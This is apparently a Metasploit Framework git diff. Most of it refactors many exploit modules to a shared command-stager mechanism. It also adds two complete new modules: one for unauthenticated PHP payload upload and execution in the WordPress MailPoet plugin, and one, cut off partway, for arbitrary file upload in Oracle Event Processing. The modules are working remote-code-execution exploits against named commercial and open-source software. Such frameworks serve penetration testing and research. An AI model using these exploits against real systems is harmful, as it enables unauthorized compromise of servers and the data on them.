221ed08964..b93b7ac9ba 100644 --- a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb +++ b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote include REXML include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::Remote::CmdStager def initialize(info = {}) super(update_info(info, @@ -50,7 +50,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'HP SiteScope 11.20 / Windows', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' } ], [ 'HP SiteScope 11.20 / Linux', diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index dabfe034c6..bbb6d97e6e 100644 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info={}) @@ -41,19 +41,23 @@ class Metasploit3 < Msf::Exploit::Remote [ ['Linux', { 'Platform' => 'linux', - 'Arch' => ARCH_X86 + 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => 'bourne' }], ['Linux (x64)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86_64 + 'Arch' => ARCH_X86_64, + 'CmdStagerFlavor' => 'bourne' }], ['Windows', { 'Platform' => 'win', - 'Arch' => ARCH_X86 + 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => 'vbs' }], ['Windows (x64)', { 'Platform' => 'win', - 'Arch' => ARCH_X86_64 + 'Arch' => ARCH_X86_64, + 'CmdStagerFlavor' => 'vbs' }], ], 'Privileged' => false, @@ -121,11 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote def setup_stager - case target.opts['Platform'] - when "linux" then opts = { :temp => './', :linemax => 2800 } - when "win" then opts = { :temp => '.', :linemax => 2800 } - end - execute_cmdstager(opts) + execute_cmdstager(:temp => './', :linemax => 2800) end @@ -194,8 +194,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit @cookie = '' - extend Msf::Exploit::CmdStagerBourne if target.opts['Platform'] == "linux" - setup_stager end end diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb index 597af3a40a..3bd3976973 100644 --- a/modules/exploits/multi/http/hyperic_hq_script_console.rb +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ # Tested on Hyperic HQ versions 4.5.2-win32 and 4.6.6-win32 on Windows XP SP3 and Ubuntu 10.04 ['Automatic', {} ], - ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}], + ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}], ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] ], @@ -247,7 +247,6 @@ class Metasploit3 < Msf::Exploit::Remote end - def exploit # login @@ -281,7 +280,7 @@ class Metasploit3 < Msf::Exploit::Remote # send payload case @my_target['Platform'] when 'win' - print_status("#{peer} - Sending VBS stager...") + print_status("#{peer} - Sending command stager...") execute_cmdstager({:linemax => 2049}) when 'unix' print_status("#{peer} - Sending UNIX payload...") diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 73e8d7adee..d41a0921bd 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -33,10 +33,10 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'] ], 'Platform' => %w{ win linux unix }, - 'Targets' => + 'Targets' => [ - ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}], - ['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }], + ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}], + ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] ], 'DisclosureDate' => 'Jan 18 2013', @@ -169,7 +169,7 @@ class Metasploit3 < Msf::Exploit::Remote case target['Platform'] when 'win' - print_status("#{rhost}:#{rport} - Sending VBS stager...") + print_status("#{rhost}:#{rport} - Sending command stager...") execute_cmdstager({:linemax => 2049}) when 'unix' print_status("#{rhost}:#{rport} - Sending payload...") diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index 5b993fb37f..48ca16b5c4 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => %w{ win unix }, 'Targets' => [ - [ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'} ], + [ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win', 'CmdStagerFlavor' => 'vbs'} ], [ 'Unix', { 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => "\x22"}} ] ], 'DisclosureDate' => 'Dec 06 2012')) @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit case target['Platform'] when 'win' - print_status("#{rhost}:#{rport} - Sending VBS stager...") + print_status("#{rhost}:#{rport} - Sending command stager...") execute_cmdstager({:linemax=>500}) when 'unix' diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb index 397b996b79..ad9498cf19 100644 --- a/modules/exploits/multi/http/struts_code_exec.rb +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -42,7 +42,8 @@ class Metasploit3 < Msf::Exploit::Remote ['Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'tftp' } ], ['Linux Universal', @@ -88,10 +89,8 @@ class Metasploit3 < Msf::Exploit::Remote end def windows_stager - exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" - print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index 220700c01f..e2e19a1a3c 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -45,7 +45,8 @@ class Metasploit3 < Msf::Exploit::Remote ['Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'tftp' } ], ['Linux Universal', @@ -94,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb index 8a7ac17992..d845ce36ef 100644 --- a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb +++ b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb @@ -12,7 +12,7 @@ class Metasploit4 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::EXE include Msf::Exploit::FileDropper @@ -56,7 +56,8 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' }, ], ], diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb index a5a73f8f3e..85ed24179a 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -26,7 +26,7 @@ class Metasploit4 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient @@ -66,7 +66,8 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Windows x64', { 'Arch' => ARCH_X86_64, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' } ] ], diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb index 2b32642ace..e0b7025f3f 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -26,7 +26,7 @@ class Metasploit4 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient @@ -67,7 +67,8 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Windows x64', { 'Arch' => ARCH_X86_64, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' } ] ], diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb index 027144e742..96f968ce07 100644 --- a/modules/exploits/multi/ssh/sshexec.rb +++ b/modules/exploits/multi/ssh/sshexec.rb @@ -9,7 +9,7 @@ require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking - include Msf::Exploit::CmdStagerBourne + include Msf::Exploit::CmdStager attr_accessor :ssh_socket @@ -46,21 +46,22 @@ class Metasploit3 < Msf::Exploit::Remote { 'Arch' => ARCH_X86, 'Platform' => 'linux' - }, + } ], [ 'Linux x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' - }, + } ], [ 'OSX x86', { 'Arch' => ARCH_X86, 'Platform' => 'osx' - }, - ], + } + ] ], + 'CmdStagerFlavor' => %w{ bourne echo printf }, 'DefaultTarget' => 0, # For the CVE 'DisclosureDate' => 'Jan 01 1999' @@ -83,6 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote end def execute_command(cmd, opts = {}) + vprint_status("Executing #{cmd}") begin Timeout.timeout(3) do self.ssh_socket.exec!("#{cmd}\n") @@ -125,7 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT']) - print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Bourne stager...") + print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...") execute_cmdstager({:linemax => 500}) end end diff --git a/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb new file mode 100644 index 0000000000..0ef6b962e0 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload', + 'Description' => %q{ + The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8 + is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme + functionality to upload a zip file containing the payload. The plugin uses the + admin_init hook, which is also executed for unauthenticated users when accessing + a specific URL. The first fix for this vulnerability appeared in version 2.6.7, + but the fix can be bypassed. In PHP's default configuration, + a POST variable overwrites a GET variable in the $_REQUEST array. The plugin + uses $_REQUEST to check for access rights. By setting the POST parameter to + something not beginning with 'wysija_', the check is bypassed. Wordpress uses + the $_GET array to determine the page, so it is not affected by this. + }, + 'Author' => + [ + 'Marc-Alexandre Montpas', # initial discovery + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ], + [ 'URL', 'http://www.mailpoet.com/security-update-part-2/'], + [ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [ ['wysija-newsletters < 2.6.8', {}] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 1 2014')) + end + + def create_zip_file(theme_name, payload_name) + # the zip file must match the following: + # -) Exactly one folder representing the theme name + # -) A style.css in the theme folder + # -) Additional files in the folder + + content = { + ::File.join(theme_name, 'style.css') => '', + ::File.join(theme_name, payload_name) => payload.encoded + } + + zip_file = Rex::Zip::Archive.new + content.each_pair do |name, content| + zip_file.add_file(name, content) + end + + zip_file.pack + end + + def check + readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt') + res = send_request_cgi({ + 'uri' => readme_url, + 'method' => 'GET' + }) + # no readme.txt present + if res.nil? || res.code != 200 + return Msf::Exploit::CheckCode::Unknown + end + + # try to extract version from readme + # Example line: + # Stable tag: 2.6.6 + version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1] + + # readme present, but no version number + if version.nil? + return Msf::Exploit::CheckCode::Detected + end + + print_status("#{peer} - Found version #{version} of the plugin") + + if Gem::Version.new(version) < Gem::Version.new('2.6.8') + return Msf::Exploit::CheckCode::Appears + else + return Msf::Exploit::CheckCode::Safe + end + end + + def exploit + theme_name = rand_text_alpha(10) + payload_name = "#{rand_text_alpha(10)}.php" + + zip_content = create_zip_file(theme_name, payload_name) + + uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php') + + data = Rex::MIME::Message.new + data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"") + data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"') + data.add_part('themeupload', nil, nil, 'form-data; name="action"') + data.add_part('Upload', nil, nil, 'form-data; name="submitter"') + data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"') + post_data = data.to_s + + payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name) + + print_status("#{peer} - Uploading payload to #{payload_uri}") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' }, + 'data' => post_data + }) + + if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1' + fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") + end + + # Files to cleanup (session is dropped in the created folder): + # style.css + # the payload + # the theme folder (manual cleanup) + register_files_for_cleanup('style.css', payload_name) + + print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.") + + print_status("#{peer} - Executing payload #{payload_uri}") + res = send_request_cgi({ + 'uri' => payload_uri, + 'method' => 'GET' + }) + end +end diff --git a/modules/exploits/unix/webapp/zeroshell_exec.rb b/modules/exploits/unix/webapp/zeroshell_exec.rb index 8558d6edcb..bebf122f74 100644 --- a/modules/exploits/unix/webapp/zeroshell_exec.rb +++ b/modules/exploits/unix/webapp/zeroshell_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager include Msf::Exploit::EXE def initialize(info={}) @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote [ OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/']) ], self.class) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def uri @@ -149,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote @session = login(admin_password) - execute_cmdstager + execute_cmdstager({:flavor => :echo}) end end diff --git a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb index 5e3cd321ae..09f2c79820 100644 --- a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb +++ b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Tcp def initialize(info = {}) @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Privileged' => true, 'Platform' => 'win', + 'CmdStagerFlavor' => 'tftp', 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 26 2010')) @@ -50,11 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote end def windows_stager - - exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" - print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/windows/antivirus/ams_xfr.rb b/modules/exploits/windows/antivirus/ams_xfr.rb index 1148ae14c0..e95fe434c9 100644 --- a/modules/exploits/windows/antivirus/ams_xfr.rb +++ b/modules/exploits/windows/antivirus/ams_xfr.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Tcp def initialize(info = {}) @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], + 'CmdStagerFlavor' => 'tftp', 'Privileged' => true, 'Platform' => 'win', 'DefaultTarget' => 0, @@ -55,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb index ff2e97a734..00c27e5917 100644 --- a/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb +++ b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include REXML - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote Opt::RPORT(9090), OptString.new('TARGETURI', [true, 'The base path', '/']) ], self.class) + deregister_options('CMDSTAGER::FLAVOR') end def check @@ -71,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit print_status("#{peer} - Sending payload") # Execute the cmdstager, max length of the commands is ~3950 - execute_cmdstager({:linemax => 3950}) + execute_cmdstager({:flavor => :vbs, :linemax => 3950}) end def execute_command(cmd, opts = {}) diff --git a/modules/exploits/windows/browser/dxstudio_player_exec.rb b/modules/exploits/windows/browser/dxstudio_player_exec.rb index 4f53c8192d..9519709c03 100644 --- a/modules/exploits/windows/browser/dxstudio_player_exec.rb +++ b/modules/exploits/windows/browser/dxstudio_player_exec.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DisclosureDate' => 'Jun 09 2009', 'DefaultTarget' => 0)) end diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb index 0a9e6b7710..30bc0e2ef6 100644 --- a/modules/exploits/windows/emc/replication_manager_exec.rb +++ b/modules/exploits/windows/emc/replication_manager_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote # Tested on Windows XP and Windows 2003 [ 'EMC Replication Manager 5.2.1 / Windows Native Payload', { } ] ], + 'CmdStagerFlavor' => 'vbs', 'DefaultOptions' => { 'WfsDelay' => 5 diff --git a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb index 7b11914c7e..26e87aafcc 100644 --- a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb +++ b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], + 'CmdStagerFlavor' => 'tftp', 'Privileged' => true, 'Platform' => 'win', 'DisclosureDate' => 'Apr 13 2011', @@ -52,11 +53,8 @@ class Metasploit3 < Msf::Exploit::Remote end def windows_stager - - exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" - print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/windows/http/cogent_datahub_command.rb b/modules/exploits/windows/http/cogent_datahub_command.rb index 66753804d3..489190ecf0 100644 --- a/modules/exploits/windows/http/cogent_datahub_command.rb +++ b/modules/exploits/windows/http/cogent_datahub_command.rb @@ -22,7 +22,8 @@ class Metasploit3 < Msf::Exploit::Remote makes insecure use of the datahub_command function with user controlled data, allowing execution of arbitrary datahub commands and scripts. This module has been tested successfully with Cogent DataHub 7.3.4 on - Windows 7 SP1. + Windows 7 SP1. Please also note that after exploitation, the remote service + will most likely hang and restart manually. }, 'Author' => [ 'John Leitch', # Vulnerability discovery @@ -50,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']), - OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' + + OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' + '(do not change)', 80 ]), OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will ' + 'wait for the payload request', 20]), @@ -374,7 +375,7 @@ class Metasploit3 < Msf::Exploit::Remote 'vars_post' => { 'username' => rand_text_alpha(3 + rand(3)), - 'password' => "#{rand_text_alpha(3 + rand(3))}\")" + + 'password' => "#{rand_text_alpha(3 + rand(3))}\")" + "(load_plugin \"#{dll}\" 1)(\"" } }, 1) @@ -414,7 +415,7 @@ class Metasploit3 < Msf::Exploit::Remote @exploit_unc = "\\\\#{@myhost}\\" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' - fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' + + fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' + 'URIPATH=/') end @@ -439,7 +440,7 @@ class Metasploit3 < Msf::Exploit::Remote print_error("#{peer} - Unexpected answer") end else - fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' + + fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' + '\\\\host\\shared_folder\\base_name.dll') end end diff --git a/modules/exploits/windows/http/hp_autopass_license_traversal.rb b/modules/exploits/windows/http/hp_autopass_license_traversal.rb index cdc4b3bc90..db98e83681 100644 --- a/modules/exploits/windows/http/hp_autopass_license_traversal.rb +++ b/modules/exploits/windows/http/hp_autopass_license_traversal.rb @@ -17,9 +17,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module exploits a code execution flaw in HP AutoPass License Server. It abuses two weaknesses in order to get its objective. First, the AutoPass application doesn't enforce - authentication in the CommunicationServlet component. On the other hand, it's possible to - abuse a directory traversal when uploading files thorough the same component, allowing to - upload an arbitrary payload embedded in a JSP. The module has been tested successfully on + authentication in the CommunicationServlet component. Seond, it's possible to abuse a + directory traversal when uploading files thorough the same component, allowing to upload + an arbitrary payload embedded in a JSP. The module has been tested successfully on HP AutoPass License Server 8.01 as installed with HP Service Virtualization 3.50. }, 'Author' => diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb index 8874861052..d3507767ec 100644 --- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => 'vbs', 'Targets' => [ [ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ] @@ -49,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DefaultOptions' => { - 'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") + 'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") }, 'DisclosureDate' => 'Jul 29 2013')) diff --git a/modules/exploits/windows/http/oracle_event_processing_upload.rb b/modules/exploits/windows/http/oracle_event_processing_upload.rb new file mode 100644 index 0000000000..2fdaf9b065 --- /dev/null +++ b/modules/exploits/windows/http/oracle_event_processing_upload.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Oracle Event Processing FileUploadServlet Arbitrary File Upload', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability in Oracle Event Processing + 11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be + abused to upload a malicious file onto an arbitrary location due to a directory traversal + flaw, and compromise the server. By default Oracle Event Processing uses a Jetty + Application Server without JSP support, which limits the attack to WbemExec. The current + WbemExec technique only requires arbitrary write to the file system, but at the moment the + module only supports Windows 2003 SP2 or older. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod ', # Vulnerability Discovery + 'juan 